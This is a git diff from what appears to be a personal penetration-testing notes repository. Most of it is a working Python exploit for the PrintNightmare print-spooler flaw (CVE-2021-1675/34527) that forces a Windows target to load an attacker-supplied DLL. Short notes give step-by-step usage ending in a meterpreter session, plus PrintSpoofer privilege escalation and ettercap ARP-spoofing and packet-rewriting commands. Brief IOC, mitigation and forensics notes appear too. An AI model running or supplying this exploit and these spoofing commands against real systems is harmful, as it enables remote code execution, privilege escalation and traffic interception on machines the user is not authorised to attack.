||||||
|
"Got access denied while trying to delete printer driver: %s" % e
|
||||||
|
)
|
||||||
|
sys.exit(1)
|
||||||
|
logging.error("Failed to delete printer driver: %s" % e)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
logging.info("Deleted printer driver!")
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
# Check if target is vulnerable to CVE-2021-1675 by
|
||||||
|
# creating an empty printer driver that will fail.
|
||||||
|
# Depending on the error code, it's possible to determine
|
||||||
|
# it has been patched.
|
||||||
|
dce = self.connect()
|
||||||
|
|
||||||
|
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
|
||||||
|
|
||||||
|
driver_container = DRIVER_CONTAINER()
|
||||||
|
driver_container["Level"] = 2
|
||||||
|
driver_container["DriverInfo"]["tag"] = 2
|
||||||
|
driver_container["DriverInfo"]["Level2"]["cVersion"] = 0
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pName"] = NULL
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pEnvironment"] = NULL
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pDriverPath"] = NULL
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pDataFile"] = NULL
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
|
||||||
|
|
||||||
|
try:
|
||||||
|
hRpcAddPrinterDriverEx(
|
||||||
|
dce,
|
||||||
|
pName=NULL,
|
||||||
|
pDriverContainer=driver_container,
|
||||||
|
dwFileCopyFlags=flags,
|
||||||
|
)
|
||||||
|
except DCERPCSessionError as e:
|
||||||
|
# RPC_E_ACCESS_DENIED is returned on patched systems, when
|
||||||
|
# a non-administrative user tries to create a new printer
|
||||||
|
# driver
|
||||||
|
if e.error_code == RPC_E_ACCESS_DENIED:
|
||||||
|
return False
|
||||||
|
# If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned
|
||||||
|
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
|
||||||
|
return True
|
||||||
|
raise e
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit(
|
||||||
|
self, driver_name="", environment="", driver_path="", dll_path="", iterator=10
|
||||||
|
):
|
||||||
|
# Use CVE-2021-34527 and CVE-2021-1675 to copy over and laod remote DLL
|
||||||
|
dce = self.connect()
|
||||||
|
|
||||||
|
if driver_path == "":
|
||||||
|
driver_path = self.getDriverPath(dce, environment)
|
||||||
|
|
||||||
|
logging.info("Driver name: %s" % repr(driver_name))
|
||||||
|
logging.info("Driver path: %s" % repr(driver_path))
|
||||||
|
logging.info("DLL path: %s" % repr(dll_path))
|
||||||
|
is_unc = False
|
||||||
|
if dll_path.startswith("\\\\"):
|
||||||
|
is_unc = True
|
||||||
|
|
||||||
|
# Create a new DRIVER_CONTAINER for RpcAddPrinterDriverEx
|
||||||
|
# 'DriverPath' must be a valid printer driver. 'UNIDRV.dll' is used by default.
|
||||||
|
# 'ConfigFile' must be valid local DLL. It will get loaded.
|
||||||
|
# 'DataFile' is the remote or local DLL that will loaded. It will not get loaded, only copied.
|
||||||
|
driver_container = DRIVER_CONTAINER()
|
||||||
|
driver_container["Level"] = 2
|
||||||
|
driver_container["DriverInfo"]["tag"] = 2
|
||||||
|
driver_container["DriverInfo"]["Level2"]["cVersion"] = 3
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pName"] = checkNullString(driver_name)
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pEnvironment"] = checkNullString(
|
||||||
|
environment
|
||||||
|
)
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pDriverPath"] = checkNullString(
|
||||||
|
driver_path
|
||||||
|
)
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pDataFile"] = checkNullString(
|
||||||
|
dll_path
|
||||||
|
)
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
|
||||||
|
"C:\\Windows\\System32\\kernelbase.dll"
|
||||||
|
)
|
||||||
|
|
||||||
|
# https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex
|
||||||
|
# APD_COPY_ALL_FILES - Add the printer driver and copy all the files in the printer-driver directory.
|
||||||
|
# APD_COPY_FROM_DIRECTORY - Add the printer driver using the fully qualified file names
|
||||||
|
# APD_INSTALL_WARNED_DRIVER - Even if the driver is unreliable, it is installed and no warning is given
|
||||||
|
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
|
||||||
|
|
||||||
|
if is_unc:
|
||||||
|
logging.info("Copying over DLL")
|
||||||
|
else:
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
|
||||||
|
dll_path
|
||||||
|
)
|
||||||
|
logging.info("Loading DLL")
|
||||||
|
|
||||||
|
# Add new printer driver. This will copy the remote DLL to a C:\Windows\system32\spool\drivers\x64\3
|
||||||
|
try:
|
||||||
|
hRpcAddPrinterDriverEx(
|
||||||
|
dce,
|
||||||
|
pName=NULL,
|
||||||
|
pDriverContainer=driver_container,
|
||||||
|
dwFileCopyFlags=flags,
|
||||||
|
)
|
||||||
|
except DCERPCSessionError as e:
|
||||||
|
if e.error_code == system_errors.ERROR_BAD_NET_RESP:
|
||||||
|
logging.error(
|
||||||
|
"Got bad response while adding printer driver. This can happen when using smbserver.py from Impacket. Try using Samba instead (%s)"
|
||||||
|
% e
|
||||||
|
)
|
||||||
|
sys.exit(1)
|
||||||
|
if e.error_code == RPC_E_ACCESS_DENIED:
|
||||||
|
logging.error(
|
||||||
|
"Failed to create printer driver. Target is most likely patched"
|
||||||
|
)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
logging.error("Failed to create printer driver: %s" % e)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if is_unc:
|
||||||
|
logging.info("Successfully copied over DLL")
|
||||||
|
else:
|
||||||
|
logging.info("Successfully loaded DLL")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
logging.info("Trying to load DLL")
|
||||||
|
|
||||||
|
filename = pathlib.PureWindowsPath(dll_path).name
|
||||||
|
|
||||||
|
# Whenever the printer driver is overwritten, the previous DLL's will be saved
|
||||||
|
# to C:\Windows\system32\spool\drivers\x64\3\old\<I>\, where <I> is incremented
|
||||||
|
# for each DLL. To find the remote DLL requires a subtle bruteforcing. Usually,
|
||||||
|
# it will work in second iteration if run for the first time. If the exploit
|
||||||
|
# is run again and the same filename is used, the first DLL will get loaded, since
|
||||||
|
# it's not immediately removed from the 'old' directory.
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
|
||||||
|
"C:\\Windows\\System32\\ntdll.dll"
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
resp = hRpcAddPrinterDriverEx(
|
||||||
|
dce,
|
||||||
|
pName=NULL,
|
||||||
|
pDriverContainer=driver_container,
|
||||||
|
dwFileCopyFlags=flags,
|
||||||
|
)
|
||||||
|
except DCERPCSessionError as e:
|
||||||
|
print("Got unexpected error: %s" % e)
|
||||||
|
|
||||||
|
i = 1
|
||||||
|
while True:
|
||||||
|
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
|
||||||
|
"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s"
|
||||||
|
% (i, filename)
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
resp = hRpcAddPrinterDriverEx(
|
||||||
|
dce,
|
||||||
|
pName=NULL,
|
||||||
|
pDriverContainer=driver_container,
|
||||||
|
dwFileCopyFlags=flags,
|
||||||
|
)
|
||||||
|
if resp["ErrorCode"] == 0:
|
||||||
|
logging.info(
|
||||||
|
"Successfully loaded DLL from: %s"
|
||||||
|
% (
|
||||||
|
"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s"
|
||||||
|
% (i, filename)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
sys.exit(1)
|
||||||
|
except DCERPCSessionError as e:
|
||||||
|
if e.error_code == system_errors.ERROR_PATH_NOT_FOUND:
|
||||||
|
logging.warning("Loading DLL failed. Try again.")
|
||||||
|
sys.exit(1)
|
||||||
|
if e.error_code != system_errors.ERROR_FILE_NOT_FOUND:
|
||||||
|
logging.warning(
|
||||||
|
"Got unexpected error while trying to load DLL: %s" % e
|
||||||
|
)
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(version.BANNER)
|
||||||
|
|
||||||
|
logger.init()
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
add_help=True,
|
||||||
|
description="PrintNightmare (CVE-2021-1675 / CVE-2021-34527)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"target",
|
||||||
|
action="store",
|
||||||
|
help="[[domain/]username[:password]@]<targetName or address>",
|
||||||
|
)
|
||||||
|
|
||||||
|
parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON")
|
||||||
|
|
||||||
|
group = parser.add_argument_group("connection")
|
||||||
|
|
||||||
|
group.add_argument(
|
||||||
|
"-port",
|
||||||
|
choices=["139", "445"],
|
||||||
|
nargs="?",
|
||||||
|
default="445",
|
||||||
|
metavar="destination port",
|
||||||
|
help="Destination port to connect to MS-RPRN named pipe",
|
||||||
|
)
|
||||||
|
group.add_argument(
|
||||||
|
"-target-ip",
|
||||||
|
action="store",
|
||||||
|
metavar="ip address",
|
||||||
|
help="IP Address of the target machine. If "
|
||||||
|
"ommited it will use whatever was specified as target. This is useful when target is the NetBIOS "
|
||||||
|
"name and you cannot resolve it",
|
||||||
|
)
|
||||||
|
|
||||||
|
group = parser.add_argument_group("authentication")
|
||||||
|
|
||||||
|
group.add_argument(
|
||||||
|
"-hashes",
|
||||||
|
action="store",
|
||||||
|
metavar="LMHASH:NTHASH",
|
||||||
|
help="NTLM hashes, format is LMHASH:NTHASH",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-no-pass", action="store_true", help="don't ask for password (useful for -k)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-k",
|
||||||
|
action="store_true",
|
||||||
|
help="Use Kerberos authentication. Grabs credentials from ccache file "
|
||||||
|
"(KRB5CCNAME) based on target parameters. If valid credentials "
|
||||||
|
"cannot be found, it will use the ones specified in the command "
|
||||||
|
"line",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-dc-ip",
|
||||||
|
action="store",
|
||||||
|
metavar="ip address",
|
||||||
|
help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
|
||||||
|
)
|
||||||
|
|
||||||
|
group = parser.add_argument_group("driver")
|
||||||
|
group.add_argument(
|
||||||
|
"-name",
|
||||||
|
action="store",
|
||||||
|
metavar="driver name",
|
||||||
|
default="Microsoft XPS Document Writer v5",
|
||||||
|
help="Name for driver",
|
||||||
|
)
|
||||||
|
group.add_argument(
|
||||||
|
"-env",
|
||||||
|
action="store",
|
||||||
|
metavar="driver name",
|
||||||
|
default="Windows x64",
|
||||||
|
help="Environment for driver",
|
||||||
|
)
|
||||||
|
group.add_argument(
|
||||||
|
"-path", action="store", metavar="driver path", help="Driver path for driver"
|
||||||
|
)
|
||||||
|
group.add_argument("-dll", action="store", metavar="driver dll", help="Path to DLL")
|
||||||
|
|
||||||
|
group = parser.add_argument_group("modes")
|
||||||
|
group.add_argument(
|
||||||
|
"-check", action="store_true", help="Check if target is vulnerable"
|
||||||
|
)
|
||||||
|
group.add_argument(
|
||||||
|
"-list",
|
||||||
|
action="store_true",
|
||||||
|
help="List existing printer drivers",
|
||||||
|
)
|
||||||
|
group.add_argument("-delete", action="store_true", help="Deletes printer driver")
|
||||||
|
|
||||||
|
if len(sys.argv) == 1:
|
||||||
|
parser.print_help()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
options = parser.parse_args()
|
||||||
|
|
||||||
|
if options.debug is True:
|
||||||
|
logging.getLogger().setLevel(logging.DEBUG)
|
||||||
|
else:
|
||||||
|
logging.getLogger().setLevel(logging.INFO)
|
||||||
|
|
||||||
|
domain, username, password, remote_name = parse_target(options.target)
|
||||||
|
|
||||||
|
if domain is None:
|
||||||
|
domain = ""
|
||||||
|
|
||||||
|
if (
|
||||||
|
password == ""
|
||||||
|
and username != ""
|
||||||
|
and options.hashes is None
|
||||||
|
and options.no_pass is not True
|
||||||
|
):
|
||||||
|
from getpass import getpass
|
||||||
|
|
||||||
|
password = getpass("Password:")
|
||||||
|
|
||||||
|
if options.target_ip is None:
|
||||||
|
options.target_ip = remote_name
|
||||||
|
|
||||||
|
if options.path is None:
|
||||||
|
options.path = ""
|
||||||
|
|
||||||
|
print_nightmare = PrintNightmare(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
domain=domain,
|
||||||
|
hashes=options.hashes,
|
||||||
|
do_kerberos=options.k,
|
||||||
|
dc_host=options.dc_ip,
|
||||||
|
port=int(options.port),
|
||||||
|
remote_name=remote_name,
|
||||||
|
target_ip=options.target_ip,
|
||||||
|
)
|
||||||
|
|
||||||
|
if options.check is not False:
|
||||||
|
if print_nightmare.check():
|
||||||
|
logging.info("Target appears to be vulnerable!")
|
||||||
|
else:
|
||||||
|
logging.warning("Target does not appear to be vulnerable")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if options.list is not False:
|
||||||
|
for driver in print_nightmare.list(options.env):
|
||||||
|
print("Name: %s" % driver["Name"])
|
||||||
|
print("Environment: %s" % driver["Environment"])
|
||||||
|
print("Driver path: %s" % driver["DriverPath"])
|
||||||
|
print("Data file: %s" % driver["DataFile"])
|
||||||
|
print("Config file: %s" % driver["ConfigFile"])
|
||||||
|
print("Version: %s" % driver["cVersion"])
|
||||||
|
print("-" * 64)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if options.delete is not False:
|
||||||
|
print_nightmare.delete(options.env, options.name)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if options.dll is None:
|
||||||
|
logging.error("A path to a DLL is required when running the exploit")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print_nightmare.exploit(options.name, options.env, options.path, options.dll)
|
|
@ -0,0 +1,47 @@
|
||||||
|
# Print Nightmare
|
||||||
|
|
||||||
|
* Privilege Escalation using Print Spooler Service
|
||||||
|
* Located at `C:\Windows\System32\spoolsv.exe`
|
||||||
|
* Enabled by default
|
||||||
|
* [CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675) (locally exploitable) and [CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) (RCE) are both related to the print spooler
|
||||||
|
* RCE connection is done via [DCE/RPC](https://wiki.wireshark.org/DCE/RPC). Use of `RpcAddPrinterDriver` or `RpcAddPrinterDriverEx`
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
* Prepare reverse shell
|
||||||
|
* Check if target would be vulnerable
|
||||||
|
```sh
|
||||||
|
rpcdump.py @$TARGET_IP | grep -e 'MS-RPRN|MS-PAR'
|
||||||
|
```
|
||||||
|
* Execute smb server
|
||||||
|
```sh
|
||||||
|
smbserver.py share . -smb2support
|
||||||
|
```
|
||||||
|
* Execute PoC with credentials to elevate
|
||||||
|
```sh
|
||||||
|
python CVE-2021-1675.py <domain of domaincontroller>/<user>:<password>@$TARGET_IP
|
||||||
|
```
|
||||||
|
* Use the meterpreter session
|
||||||
|
|
||||||
|
## IOCs
|
||||||
|
|
||||||
|
* `pcAddPrinterDriverEx()` is called
|
||||||
|
* [Sygnia](https://www.sygnia.co/demystifying-the-printnightmare-vulnerability) explains them
|
||||||
|
* [Splunk queries](https://www.splunk.com/en_us/blog/security/i-pity-the-spool-detecting-printnightmare-cve-2021-34527.html)
|
||||||
|
|
||||||
|
* Logs are `Microsoft-Windows-PrintService/Admin` and `Microsoft-Windows-PrintService/Operational`
|
||||||
|
* Event Ids `316, 808, 811, 31017, 7031`
|
||||||
|
|
||||||
|
## Mitigation
|
||||||
|
|
||||||
|
* [link](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527)
|
||||||
|
* Stop and disable
|
||||||
|
```sh
|
||||||
|
Stop-Service -Name Spooler -Force
|
||||||
|
Set-Service -Name Spooler -StartupType Disabled
|
||||||
|
```
|
||||||
|
* Disable group policy
|
||||||
|
```sh
|
||||||
|
Computer Configuration/Administrative Templates/Printers
|
||||||
|
```
|
||||||
|
|
Binary file not shown.
|
@ -0,0 +1,10 @@
|
||||||
|
# printspoofer
|
||||||
|
|
||||||
|
PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
|
||||||
|
|
||||||
|
To escalate privileges, the service account must have SeImpersonate privileges. To execute:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
PrintSpoofer.exe -i -c cmd
|
||||||
|
```
|
||||||
|
With appropriate privileges this should grant system user shell access.
|
|
@ -1 +0,0 @@
|
||||||
Subproject commit 29a9e27f5418317bd5f4560ccfebcb65ca181b32
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
# Kroll Artifact Parser
|
||||||
|
|
||||||
|
* Collect and processes artifacts on windows
|
||||||
|
* Collects from live systems, mounted images and F-response tool
|
||||||
|
|
||||||
|
## Targets
|
||||||
|
|
||||||
|
* Needs source and target directory, as well as a module to process the files on
|
||||||
|
* `Target` copies a file into a repository
|
||||||
|
* `*.tkape` files contains metadata of the files to copy
|
||||||
|
* `Compound Targets` contain metadata of multiple files in order to get a result quicker
|
||||||
|
* `!Disable` do not appear in the target list
|
||||||
|
* `!Local` keep on local
|
||||||
|
|
||||||
|
|
||||||
|
## Modules
|
||||||
|
|
||||||
|
* Used on the targeted files
|
||||||
|
* `*.mkape` files
|
||||||
|
* Additional binaries are kept in `bin`
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -3,4 +3,29 @@
|
||||||
* [Ettercap](https://www.ettercap-project.org/)
|
* [Ettercap](https://www.ettercap-project.org/)
|
||||||
* [Bettercap](https://www.bettercap.org/)
|
* [Bettercap](https://www.bettercap.org/)
|
||||||
|
|
||||||
|
* ARP spoofing via ettercap and read traffic. Press q to reverse to pre mitm arp caches
|
||||||
|
```sh
|
||||||
|
ettercap -T -i <interface> -M arp
|
||||||
|
```
|
||||||
|
|
||||||
|
* Etterfilter can filter and restructure packets
|
||||||
|
```sh
|
||||||
|
man etterfilter
|
||||||
|
```
|
||||||
|
```sh
|
||||||
|
if (ip.proto == TCP && tcp.dst == 80 && search(DATA.data, "filename.html") ) {
|
||||||
|
log(DATA.data, "/tmp/ettercap.log");
|
||||||
|
replace("filename.html", "otherfilename.html" );
|
||||||
|
msg("###### ETTERFILTER: substituted 'filename.html' with 'otherfilename.html' ######\n");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
* Escape double quote inside the payload string
|
||||||
|
* compile via
|
||||||
|
```sh
|
||||||
|
etterfilter filter.ef -o filter.ef
|
||||||
|
```
|
||||||
|
|
||||||
|
* Run the filter via
|
||||||
|
```sh
|
||||||
|
ettercap -T -i <interface> -M arp -F filter.ef
|
||||||
|
```
|
||||||
|
|
Loading…
Reference in New Issue